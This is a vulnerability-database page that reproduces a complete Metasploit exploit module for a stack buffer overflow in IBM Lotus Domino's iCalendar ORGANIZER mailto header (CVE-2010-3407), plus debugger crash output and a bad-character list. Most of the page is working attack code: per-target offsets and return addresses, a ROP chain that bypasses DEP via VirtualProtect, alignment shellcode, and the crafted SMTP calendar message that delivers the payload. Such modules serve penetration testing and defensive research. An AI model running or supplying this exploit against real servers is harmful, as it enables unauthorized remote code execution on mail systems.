Lucene search
K

IBM Lotus Domino iCalendar MAILTO Buffer Overflow

🗓️ 06 Apr 2011 00:00:00Reported by sinn3rType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 40 Views

IBM Lotus Domino iCalendar MAILTO Buffer Overflow vulnerability allows remote attackers to crash the "nRouter.exe" by sending a long string of data to gain arbitrary code execution. A valid Domino mailbox account is needed to trigger the vulnerable code path

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2010-3407
14 Sep 201000:00
circl
CVE
CVE-2010-3407
16 Sep 201020:00
cve
Cvelist
CVE-2010-3407
16 Sep 201020:00
cvelist
d2
DSquare Exploit Pack: D2SEC_LOTUSCAL
16 Sep 201021:00
d2
Exploit DB
IBM Lotus Domino iCalendar - MAILTO Buffer Overflow (Metasploit)
4 Apr 201100:00
exploitdb
Tenable Nessus
IBM Lotus Domino iCalendar Email Address ORGANIZER:mailto Header Remote Overflow
22 Apr 201100:00
nessus
Metasploit
IBM Lotus Domino iCalendar MAILTO Buffer Overflow
4 Apr 201117:43
metasploit
NVD
CVE-2010-3407
16 Sep 201021:00
nvd
OpenVAS
IBM Lotus Domino iCalendar Remote Stack Buffer Overflow Vulnerability
29 Sep 201000:00
openvas
Prion
Stack overflow
16 Sep 201021:00
prion
Rows per page
`##  
# $Id: domino_icalendar_organizer.rb 12236 2011-04-04 17:43:34Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "IBM Lotus Domino iCalendar MAILTO Buffer Overflow",  
'Description' => %q{  
This module exploits a vulnerability found in IBM Lotus Domino iCalendar. By  
sending a long string of data as the "ORGANIZER;mailto" header, process "nRouter.exe"  
crashes due to a Cstrcpy() routine in nnotes.dll, which allows remote attackers to  
gain arbitrary code execution.  
  
Note: In order to trigger the vulnerable code path, a valid Domino mailbox account  
is needed.  
},  
'License' => MSF_LICENSE,  
'Version' => "$Revision: 12236 $",  
'Author' =>  
[  
'A. Plaskett', #Initial discovery, poc  
'sinn3r', #Metasploit  
],  
'References' =>  
[  
[ 'CVE', '2010-3407' ],  
[ 'OSVDB', '68040' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-177/' ],  
[ 'URL', 'http://labs.mwrinfosecurity.com/advisories/lotus_domino_ical_stack_buffer_overflow/' ],  
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?rs=475&uid=swg21446515' ],  
],  
'Payload' =>  
{  
'BadChars' => [*(0x00..0x08)].pack("C*") + [*(0x10..0x18)].pack("C*") + [*(0x1a..0x1f)].pack("C*") + "\x2c" + [*(0x80..0xff)].pack("C*"),  
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,  
'EncoderOptions' => {'BufferRegister'=>'ECX'},  
'StackAdjustment' => -3500,  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "process",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'Lotus Domino 8.5 on Windows 2000 SP4',  
{  
'Offset' => 2374, #Offset to EIP  
'Ret' => 0x6030582B, #JMP ECX  
'MaxBuffer' => 9010, #Total buffer size  
}  
],  
[  
'Lotus Domino 8.5 on Windows Server 2003 SP0',  
{  
'Offset' => 2374, #Offset to EIP  
'Ret' => 0x6030582B, #JMP ECX (Domino\\nnotes.dll)  
'MaxBuffer' => 9010, #Total buffer size  
}  
],  
[  
'Lotus Domino 8.5 on Windows Server 2003 SP2',  
{  
'Offset' => 2374, #Offset to EIP  
'Ret' => 0x604C4222, #ADD AL,0x5E ; RETN  
'EAX' => 0x7C35287F, #Initial CALL VirtualProtect addr to align (MSVCR71.dll)  
'EaxOffset' => 2342, #Offset to EAX  
'RopOffset' => 24, #Offset to ROP gadgets  
'MaxBuffer' => 9010, #Total buffer size  
}  
],  
],  
'DisclosureDate' => "Sep 14 2010",  
'DefaultTarget' => 2))  
  
register_options(  
[  
Opt::RPORT(25),  
OptString.new('MAILFROM', [true, 'Valid Lotus Domino mailbox account', '']),  
OptString.new('MAILTO', [true, 'Valid Lotus Domino mailbox account', '']),  
], self.class)  
end  
  
def check  
connect  
banner = sock.get_once(-1,5).chomp  
disconnect  
  
if banner =~ /Lotus Domino Release 8.5/  
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
sploit = ''  
if target.name =~ /Windows 2000 SP4/  
  
sploit << rand_text_alpha(934)  
sploit << payload.encoded  
sploit << rand_text_alpha((target['Offset']-sploit.length))  
sploit << [target.ret].pack('V')  
sploit << rand_text_alpha((target['MaxBuffer']-sploit.length))  
  
elsif target.name =~ /Server 2003 SP0/  
  
sploit << rand_text_alpha(930)  
sploit << payload.encoded  
sploit << rand_text_alpha((target['Offset']-sploit.length))  
sploit << [target.ret].pack('V')  
sploit << rand_text_alpha((target['MaxBuffer']-sploit.length))  
  
elsif target.name =~ /Server 2003 SP2/  
  
#Borrow a "CALL VirtualProtect()" in Domino's MSVCR71.dll to bypass DEP  
#shellcode max = 1312 bytes  
rop_gadgets =  
[  
#EAX should be aligned to CALL VirtualProtect at this point  
0x604F5728, #MOV DWORD PTR DS:[ECX],EAX; RETN (nnotes.dll)  
#Set shellcode address  
0x6247282B, #MOV EAX,ECX; RETN (nlsccstr.dll)  
0x62454F32, #ADD AL,2B; RETN (nlsccstr.dll)  
0x603F7B38, #ADD AL,31; RETN (nnotes.dll)  
0x624B7040, #MOV DWORD PTR DS:[ECX+4],EAX; RETN (nnotes.dll)  
#Set RETN value  
0x60577B7A, #XCHG EAX,EDX; RETN (nnotes.dll)  
0x62452E35, #MOV EAX,ECX; RETN (nlsccstr.dll)  
0x60606F4E, #ADD AL,5D; RETN (nlsccstr.dll)  
0x603E6260, #DEC EAX; RETN (nnotes.dll)  
0x603E6260, #DEC EAX; RETN (nnotes.dll)  
0x603E6260, #DEC EAX; RETN (nnotes.dll)  
0x603E6260, #DEC EAX; RETN (nnotes.dll)  
0x603E6260, #DEC EAX; RETN (nnotes.dll)  
0x7C3A4C72, #MOV DWORD PTR DS:[EAX],EDX; RETN (msvcp71.dll)  
0x6247282B, #MOV EAX,ECX; RETN (nlsccstr.dll)  
0x60253B6D, #XCHG EAX,EBP; RETN (nnotes.dll)  
#Set Size (0x413)  
0x605A4B30, #MOV EAX,205; RETN (nnotes.dll)  
0x605A4B30, #MOV EAX,205; RETN (nnotes.dll)  
0x60592A36, #ADD EAX,107; RETN (nnotes.dll)  
0x603B4C27, #ADD AL,2B; RETN (nnotes.dll)  
0x624B7044, #MOV DWORD PTR DS:[ECX+8],EAX; RETN  
0x604C5225, #XOR EAX, EAX; RETN  
#newProtect  
0x60386C3C, #MOV AL,3B; RETN (nnotes.dll)  
0x624D4C27, #INC EAX; RETN (nlsccstr.dll)  
0x624D4C27, #INC EAX; RETN (nlsccstr.dll)  
0x624D4C27, #INC EAX; RETN (nlsccstr.dll)  
0x624D4C27, #INC EAX; RETN (nlsccstr.dll)  
0x624D4C27, #INC EAX; RETN (nlsccstr.dll)  
0x624B7048, #MOV DWORD PTR DS:[ECX+C],EAX; RETN  
#oldProtect  
0x602B7353, #MOV EAX,ESI; POP ESI; RETN (nnotes.dll)  
0x41414141, #ESI  
0x624B704C, #MOV DWORD PTR DS:[ECX+10],EAX; RETN (nlsccstr.dll)  
#Call VirtualProtect  
0x6247282B, #MOV EAX,ECX; RETN (nlsccstr.dll)  
0x60276256, #XCHG EAX,ESP; RETN (nnotes.dll)  
].pack("V*")  
  
align = "\x51" #PUSH ECX  
align << "\x58" #POP EAX  
align << "\x34\x43" #XOR AL,43  
align << "\x40" #INC EAX  
align << "\x34\x65" #XOR AL,65  
align << "\x50" #PUSH EAX  
align << "\x59" #POP ECX  
  
sploit << rand_text_alpha(1022)  
sploit << align  
sploit << payload.encoded  
sploit << rand_text_alpha((target['EaxOffset']-sploit.length))  
sploit << [target['EAX']].pack('V')  
sploit << rand_text_alpha((target['Offset']-sploit.length))  
sploit << [target.ret].pack('V')  
sploit << rand_text_alpha((target['RopOffset']))  
sploit << rop_gadgets  
sploit << rand_text_alpha((target['MaxBuffer']-sploit.length))  
  
end  
  
fname = rand_text_alpha(4)  
prod_id = rand_text_alpha_upper(5) + "@" + rand_text_alpha_upper(13) + "@" + rand_text_alpha_upper(24)  
uid = rand_text_alpha_upper(15)  
summary = rand_text_alpha_upper(5) + "@" + rand_text_alpha_upper(11)  
status = rand_text_alpha_upper(4)  
  
body = "Content-Type: text/calendar; method=COUNTER; charset=UTF-8\r\n"  
body << "#{fname}.txt\r\n"  
body << "MIME-Version: 1.0\r\n"  
body << "Content-Transfer-Encoding: 8bit\r\n"  
body << "BEGIN:VCALENDAR\r\n"  
body << "METHOD:COUNTER\r\n"  
body << "PRODID:-//#{prod_id}//\r\n"  
body << "VERSION:2.0\r\n"  
body << "BEGIN:VEVENT\r\n"  
body << "UID:#{uid}\r\n"  
body << "SEQ:2\r\n"  
body << "RRULE:aaaa\r\n"  
body << "ORGANIZER:mailto:H@#{sploit}.com\r\n"  
body << "ATTENDEE;:Mailto:#{datastore['MAILTO']}\r\n"  
body << "SUMMARY:#{summary}\r\n"  
body << "DTSTART:20091130T093000Z\r\n"  
body << "DTEND:20091130T093000Z\r\n"  
body << "DTSTAMP:20091130T083147Z\r\n"  
body << "LOCATION:Location\r\n"  
body << "STATUS:#{status}\r\n"  
body << "END:VEVENT\r\n"  
body << "END:VCALENDAR\r\n"  
body << "\r\n.\r\n"  
  
commands =  
{  
:HELO => "HELO localhost\r\n",  
:FROM => "MAIL FROM: <#{datastore['MAILFROM']}>\r\n",  
:RCPT => "RCPT TO: <#{datastore['MAILTO']}>\r\n",  
:DATA => "DATA\r\n",  
:MESG => body,  
:QUIT => "QUIT\r\n",  
}  
  
print_status("Trying target #{target.name}")  
  
connect  
  
# Get SMTP Banner  
res = sock.get_once.chomp  
print_status("Banner: #{res}")  
  
# Check banner before trying the exploit  
if res !~ /Lotus Domino Release 8.5/  
print_error("Remote service does not seem to be Lotus Domino 8.5")  
disconnect  
return  
end  
  
# Send HELO  
sock.put(commands[:HELO])  
res = sock.get_once  
print_status("Received: #{res.chomp}")  
  
# Set MAIL FROM  
sock.put(commands[:FROM])  
res = sock.get_once  
print_status("Received: #{res.chomp}")  
  
# Set RCPT  
sock.put(commands[:RCPT])  
res = sock.get_once  
print_status("Received: #{res.chomp}")  
  
# Set DATA  
sock.put(commands[:DATA])  
res = sock.get_once  
print_status("Received: #{res.chomp}")  
  
# Send malicious data  
sock.put(commands[:MESG])  
res = sock.get_once  
  
# QUIT  
sock.put(commands[:QUIT])  
res = sock.get_once  
print_status("Received: #{res.chomp}")  
  
handler  
disconnect  
end  
end  
  
  
=begin  
0:008> r  
eax=41414141 ebx=00000004 ecx=08da9700 edx=08dab695 esi=06c248bc edi=00000014  
eip=42424242 esp=08da9cc0 ebp=41414141 iopl=0 nv up ei pl nz na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206  
42424242 ?? ???  
0:008> !exchain  
08daea2c: nRouter+511bb (004511bb)  
08daffdc: kernel32!_except_handler3+0 (77e70abc)  
CRT scope 0, filter: kernel32!BaseThreadStart+3a (77e4a92d)  
func: kernel32!BaseThreadStart+4b (77e4a943)  
Invalid exception stack at ffffffff  
0:008> k  
ChildEBP RetAddr   
WARNING: Frame IP not in any known module. Following frames may be wrong.  
08da9cbc 43434343 0x42424242  
08da9cc0 43434343 0x43434343  
...  
0:008> bl  
0 e 602738f9 0001 (0001) 0:**** nnotes!MailCheck821Address+0xb09  
0:008> u 602738f9  
nnotes!MailCheck821Address+0xb09:  
602738f9 e80239d9ff call nnotes!Cstrcpy (60007200)  
602738fe eb02 jmp nnotes!MailCheck821Address+0xb12 (60273902)  
60273900 33ff xor edi,edi  
60273902 8d8dc0faffff lea ecx,[ebp-540h]  
60273908 51 push ecx  
60273909 8d95bcf6ffff lea edx,[ebp-944h]  
6027390f 52 push edx  
60273910 e8eb38d9ff call nnotes!Cstrcpy (60007200)  
  
Badchars:  
0x01=0x0F21, 0x02=0x0f22, 0x03=0x0f23, 0x04=0x0f24, 0x05=0x0f25, 0x06=0x0f26, 0x07=0x0f27  
0x08=0x0f28, 0x0a=nocrash, 0x0b=0x0f2b, 0x0c=0x0f2c, 0x0d=nocrash, 0x0e=0x0f2e 0x0f=0x0f2f,  
0x10=0x0f30, 0x11=0x0f31, 0x12=0x0f32, 0x13=0x0f33, 0x14=0x0f34, 0x15=0x0f35, 0x16=0x0f36,  
0x17=0x0f37, 0x18=0x0f38, 0x1a=0x0f3a, 0x1b=0x0f3b, 0x1c=0x0f3c, 0x1d=0x0f3d, 0x1e=0x0f3e,  
0x1f=0x0f3f, 0x2c=nocrash, 0x80..0xff = ""  
=end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation